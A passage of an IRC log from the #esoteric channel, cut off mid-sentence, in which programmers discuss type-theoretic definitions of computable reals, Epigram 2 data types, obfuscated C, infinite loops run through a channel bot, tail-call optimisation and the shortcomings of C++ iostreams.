< 1267401601 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it _starts_ with a sex change, and then you turn into a furry < 1267401625 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: *a crisis < 1267401638 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, haw haw signal/noise has just approached 0 < 1267401643 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... I accidentally used the plural. Hooray. < 1267401708 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ANYWAY coppro < 1267401712 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :data ℝ : Set where < 1267401712 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : ℝ : (f : ℚ⁺ → ℚ) < 1267401712 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : → {{ε₁:ℚ⁺} → {ε₂:ℚ⁺} → abs (f ε₁ - f ε₂) ≤ ε₁ + ε₂} < 1267401713 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : → ℝ < 1267401713 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : < 1267401713 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ι : ℚ → ℝ < 1267401713 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ι q = ℝ (λ_. q) < 1267401714 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ADMIRE < 1267401775 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION explodes
< 1267401777 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: also does that make sense with "either one"? < 1267401797 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :or is my brain inferring an innuendo that in fact isn't there at all, thus implying i have finally left the last stage of sanity < 1267401804 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: THAT IS NOT ADMIRATION < 1267401827 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :great, I've pissed off alise. See you Tuesday < 1267401862 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :coppro: wat < 1267401863 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1267401878 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :alise: because you're a girl, obv < 1267401893 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh. haw haw < 1267402018 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Hmm. *Looks* like the standard definition of the computable reals from the rationals. < 1267402042 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well... it is. < 1267402049 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'm going with "Sure, makes sense". ;) < 1267402054 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :euler : ℝ < 1267402055 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :euler = ℝ (λ ε → sum (map (λ i → (i!)⁻¹) (1 … ε))) < 1267402055 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i think < 1267402075 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes I am using x⁻¹ in place of 1/x WHAT OF IT < 1267402104 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I have no complaints. < 1267402151 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267402176 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and (m … n) for range, mostly because I can't think of anything else < 1267402196 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also... it should be product not sum < 1267402197 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :w/e < 1267402234 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and 0 not 1 lol < 1267402335 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe I should define a product operator < 1267402335 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :like < 1267402336 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :∏ 0 → ε ⇒ λ i → (i!)⁻¹ < 1267402389 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :euler : ℝ < 1267402390 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :euler = ℝ (λ ε → ∏ 0 → ε ⇒ λ i → (i!)⁻¹) < 1267402904 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Incidentally, abs (x-y) deserves a better name than it possesses. < 1267402920 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :d(x,y) ? < 1267402933 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That's not an operator, it's a function. < 1267402960 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :distance metric < 1267402991 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For some reason I think it's actually a nicer operation than subtraction. < 1267402999 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :We're measuring, not doing some sort of thingy-bob operation. < 1267403135 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Seems that Epigram 2 does indeed have Mu, the Fix you quoted, as the primitive. < 1267403166 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :make nat := (Mu @ [`arg { zero, suc } [ (@ [`done]) (@ [`ind1 @ [`done]]) ] ] ) : * ; < 1267403167 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :make zero := @ [`zero] : nat ; < 1267403167 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :make suc := (\ x -> @ [`suc x]) : nat -> nat ; < 1267403167 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :make one := (suc zero) : nat ; < 1267403167 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :make two := (suc one) : nat ; < 1267403168 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :make plus := @ @ [(\ r r y -> y) (\ r -> @ \ h r y -> suc (h y))] : nat -> nat -> nat ; < 1267403168 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :make x := (plus two two) : nat < 1267403181 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1267403440 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Seems yucky to me, though. < 1267403586 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: how can that mu do paramaterisable types though < 1267403592 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :λA → (λT → data nil : T; cons : A → T → T) < 1267403593 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267403599 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :er does that Mu show up for you? < 1267403600 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :probably not < 1267403606 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :nope < 1267403606 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :after the first -> imagine an M < 1267403615 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oh wait no unicode at all < 1267403633 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\A -> M (\T -> data nil : T; cons : A -> T -> T) < 1267403637 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :where M is our Mu < 1267403671 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so you answered your own question? < 1267403675 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yeah :P < 1267403693 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\A -> M (\T -> (data nil : T) && (data cons : A -> T -> T)) < 1267403700 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :where && = Either = union = and < 1267403743 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(data nil : T) ≈ 1 < 1267403753 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :\A -> M (\T -> Unit && (data cons : A -> T -> T)) < 1267403765 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so how to reduce the cons, I wonder < 1267403781 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :also, my issue with these kinds of shenanigans is that the implementation gets exposed < 1267403786 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :() : List, which isn't cool < 1267403845 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i think the observational type theory guys have a nice way to do all this, and it's in epigram 2 :P < 1267403888 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :of course all this Muery doesn't help us write nice notation... < 1267403888 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267403895 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which is my whole goal :P < 1267403946 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :predicted return to specialized notation in 1,2 ... < 1267403957 0 :bsmntbombdood!~gavin@97-124-201-235.hlrn.qwest.net JOIN :#esoteric < 1267404017 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: you're saying I'll never go back? < 1267404021 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :makes sense! < 1267404033 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats alise -----###
< 1267404038 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :but seriously why are the T and ... in the same definition in data X : T where ... < 1267404042 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :it makes no sense! < 1267404110 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I thought I’d scribble something about what we’re up to. The team (Pierre-Évariste Dagand, Adam Gundry, Peter Morris, James Chapman) have been hard at work. I have been otherwise engaged. As a result, there has been considerable progress. Don’t worry. I expect I’ll mess things up properly over Christmas. < 1267404114 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :--Conor McBride < 1267404213 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'm tired, so I'll sleep now. < 1267404221 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hopefully, see you tomorrow. Bye! < 1267404222 0 :alise!unknown@unknown.invalid QUIT :Quit: alise < 1267406587 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1267406598 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267406623 0 :benuphoenix!~matt@ool-182e6881.dyn.optonline.net JOIN :#esoteric < 1267406735 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Reboot < 1267406738 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, still nobody has sent me the esoteric-priv stuff. < 1267406754 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :is this the place where "int main(){for(int i=0;i<1;i++) i--; return 0;}" is a normal c++ program? < 1267406803 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1267406942 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1267407092 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :benuphoenix: no. c++ is banned here. *ducks* < 1267407109 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't know c++ anyhow
< 1267407154 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :also, isn't that an infinite loop. < 1267407202 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267407225 0 :cal153!unknown@unknown.invalid QUIT : < 1267407253 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :benuphoenix: No, we write crazier C++. < 1267407262 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well, crazier C, actually. < 1267407294 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :a,b,c;main(z,i)char**i;{h:a=!a,b=!b;g:(b-1)[1[i]]>b[i[1]]?a^=a,c=(b-1)[1[i]],1[i][b-1]=i[1][b],b[i[1]]=c,b=&b[(void*)1]:(b=&b[(void*)1]),!b[i[1]]?:({goto g;}),a?:({goto h;}),b=!b;j:putchar(b[1[i]])[(void*)(b=&b[(void*)1])],1[i][b]?({goto j;}):putchar('\n');} < 1267407296 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Translate into Haskell please. < 1267407301 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :See? < 1267407311 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :for(i=0;i!=0;) < 1267407356 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :that's the craziest i can quickly think of that fits on one line. < 1267407392 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :what's it say < 1267407406 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: The equivalent Haskell for benuphoenix's program is: main = undefined < 1267407408 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267407427 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(well, strictly speaking his is the "infinite loop" sort of bottom, but hey.) < 1267407438 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :main = main < 1267407441 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's shorter, even! < 1267407459 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, GHC complains about that. < 1267407491 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :main = return $ length [1..] -- This is *actually* an infinite loop. :) < 1267407504 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. Wait, no, that won't be eval'd. < 1267407518 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1267407524 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :main = return $ length [1..] `seq` () < 1267407532 0 :Asztal!~asztal@host86-160-120-71.range86-160.btcentralplus.com JOIN :#esoteric < 1267407535 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1267407550 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hi benuphoenix < 1267407566 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :hi Sgeo < 1267407637 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :am i the only one who uses irssi in windows instead of xchat? < 1267407638 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell import System; main = System.exit . flip seq 0 . all (<1) $ iterate (succ.pred) 0 < 1267407660 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think uorygl SSHes in to normish from which he uses irssi < 1267407664 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh wait < 1267407671 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Windows? < 1267407682 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Hah. < 1267407691 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, on Cygwin apparently < 1267407694 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell main = flip seq 0 . all (<1) $ iterate (succ.pred) 0 < 1267407708 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :argh < 1267407736 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :there's a win32 binary version on irssi.org < 1267407741 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell main = flip seq (return 0) . all (<1) $ iterate (succ.pred) 0 < 1267407783 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Might I suggest (`seq`return 0) instead of flip seq (return 0)? < 1267407819 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you may < 1267407842 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm that last one got no response. maybe that meant it actually _did_ compile. < 1267407933 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :actually, does ghc use main's result for exiting if it is an Int? < 1267407946 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :might need that System function after all < 1267407949 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :c/c++: int main{for(;;);} might be infinite. i only speak c++ and basic < 1267408008 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh hm < 1267408026 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: currently, I SSH into sine.aftran.com from which I use irssi. < 1267408039 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION slaps uorygl
< 1267408054 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267408059 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell import System; main = exitWith . flip seq 0 . all (<1) $ iterate (succ.pred) 0 < 1267408065 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hey, you know that sine.aftran.com is not the location of our chatting. < 1267408073 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I left out the port number and channel name. < 1267408086 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell import System; main = exitWith . exitSuccess . flip seq 0 . all (<1) $ iterate (succ.pred) 0 < 1267408112 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION refuses to actually look up the correct function name :D
< 1267408126 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://www.stationv3.com/d/20050131.html < 1267408181 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1267408280 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*cough* < 1267408284 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(`seq`0) < 1267408307 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: i said you may suggest it, not that i would listen < 1267408317 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Ah. < 1267408353 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :i got "main(){for(;;);}" to compile and run infinite. < 1267408370 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!c++ main(){for(;;);} < 1267408391 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well it hasn't complained yet < 1267408396 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!gnarble < 1267408406 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!interps < 1267408416 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :benuphoenix: Well, yeah... < 1267408422 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1267408423 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help . < 1267408431 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!help languages < 1267408432 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho haskell kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh. < 1267408432 0 :Asztal!~asztal@host86-156-96-97.range86-156.btcentralplus.com JOIN :#esoteric < 1267408441 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267408450 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!cxx main(){for(;;);} < 1267408460 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :!c main(){main();} < 1267408462 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :./interps/gcccomp/gcccomp: line 52: 29844 Segmentation fault /tmp/compiled.$$ < 1267408472 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :What, no TCO? < 1267408475 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*Lame*. < 1267408489 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :*Real* compilers TCO. < 1267408522 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :TCO? < 1267408549 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Tail-call optimisation. < 1267408568 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah < 1267408574 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Python doesn't do that, for some reason < 1267408584 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :A tail call can be optimised to a jmp fairly easily. < 1267408587 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I remember reading about someone arguing that that's correct, and it shouldn't < 1267408613 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's incorrect. < 1267408642 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :At a *bare* minimum it should offer a way of explicitly doing a tail call. < 1267408652 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(something like Perl's "goto &func;") < 1267408661 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Erm. < 1267408666 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"goto &func(args);" < 1267408726 0 :Azstal!~asztal@host86-156-193-224.range86-156.btcentralplus.com JOIN :#esoteric < 1267408727 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(note: TCO is harder to do in C, because of calling conventions. Caller cleanup means that not many things are actually tail calls.) < 1267408809 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :running main(){main();} after [c++] compiling successfully segmetation-faulted after 1.49 seconds < 1267408829 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :i'm ssh'd onto my freebsd 8 system < 1267408837 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267408839 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :c++. for high-speed crashing. < 1267408854 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1267408899 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I take it C++ doesn't TCO either < 1267408901 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :? < 1267408931 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Depends on your compiler < 1267408943 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'm surprised that even compiles; main is not supposed to be callable < 1267408987 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :it says it's gcc version 4.2.1 < 1267409023 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1267409064 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :normally the compiler inserts all the initialization into the prelude of main, so the standard disallows calling it from within the program < 1267409141 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks that the only reason that g++ allows it is because one of the developers wanted to program infinite loops
< 1267409165 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :or something like that < 1267409187 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :nah, you can make infinite loops all sorts of other ways < 1267409219 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :s/infinite loops/recursive function calls/ < 1267409227 0 :Azstal!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1267409267 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :you can go infinitely recursive with any other function < 1267409332 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you can infinitely loop while choosing how to infinitely loop! < 1267409402 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :running main(){main();} gave me a 67 meg core dump < 1267409480 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: GCC doesn't stick any initialization into main. < 1267409487 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: The entry point is _start. < 1267409500 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :coppro: _start initialises things and then calls main. < 1267409511 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: yes, but that doesn't change the standard < 1267409521 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :calling main is still illegal < 1267409534 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GCC does many things that are illegal. < 1267409560 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yarly < 1267409604 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :allowing "main(){...}" when it should only be "int main(){...}" < 1267409642 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In C89, the "int" is implied. < 1267409688 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :in C99 too, no? < 1267409755 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure that's still legal in C99, although stupid :) < 1267409792 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Anyway, I'm sure -Wall -Werror -ansi -pedantic would complain. < 1267409793 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh, right. C99 allows it for functions. < 1267409802 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's banned for variables. < 1267409807 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: -std=c99 makes it warn. < 1267409815 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's deprecated but allowed. < 1267409830 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I know I've gotten warning. < 1267409855 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :C99 apparently lets you do int a[b]; when b isn't a const? < 1267409856 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Warning != illegal. gcc also warns if you use gets() < 1267409862 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is somewhat scared
< 1267409867 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In fact, gcc warns if you use gets() even if you specify -w (no warnings) :P < 1267409889 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: You could approximate that with alloca anyway < 1267409892 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Yeah, works just fine. < 1267409899 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The array gets allocated on the stack. < 1267409918 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And gets cleaned up when it goes out of scope. < 1267409933 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(by "cleaned up", we of course mean "popped".) < 1267409946 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(IIRC, alloca is not part of any standard, but is basically implemented by everyone) < 1267409970 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, alloca is pretty common. < 1267409996 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. It's POSIX. < 1267410013 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is benuphoenix doing C or C++? < 1267410016 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: It is? < 1267410031 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :CONFORMING TO < 1267410032 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric : This function is not in POSIX.1-2001. < 1267410032 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, no it's not. I thought it was. < 1267410034 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: C++ < 1267410037 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :For some reason. < 1267410050 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's just been around since at least 3BSD. < 1267410092 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :even when it's identical to c, i still use c++ < 1267410118 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :benuphoenix: That's dumb. < 1267410199 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :actually, i rarely write something in c++ that doesn't use iostream < 1267410238 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Eeeeew. < 1267410265 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :C++'s IO is one of the more stupid features. < 1267410285 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(seriously, IO via bitshift?) < 1267410331 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :the "<<" and ">>" are overrides < 1267410378 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :at least, i think that's the term < 1267410391 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :They're bitshift operators. < 1267410414 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That your bitshift operator isn't *shifting* any *bits* doesn't make them cease to be bitshift operators. < 1267410488 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It is somewhat ugly, but is that that big a tragedy? < 1267410490 0 :benuphoenix!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: i know what the bitshift operaters are and what they are supposed to do < 1267410531 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: That's but one of the poor things about C++'s IO. < 1267410535 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It shifts bits from memory into IO :P < 1267410538 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Or vice/versa < 1267410543 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :This is merely a poor *aesthetic* choice. < 1267410595 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Paging coppro to #esoteric . coppro to #esoteric < 1267410635 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Iostreams also have the annoying property that you can manipulate their ouput mode, but not readily set the output mode back to what it was previously. < 1267410655 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Write a function that outputs some numbers as hex and then returns the iostream to the previous mode. Go on, I'm waiting. < 1267410670 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, Iostreams make i18n a royal *pain*. < 1267410691 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In C, you would wrap the format string in a function that looks up the translation for the string. < 1267410702 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In C++... You use printf if you want to do that. < 1267410726 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(or GNU's asprintf, which is a printf that 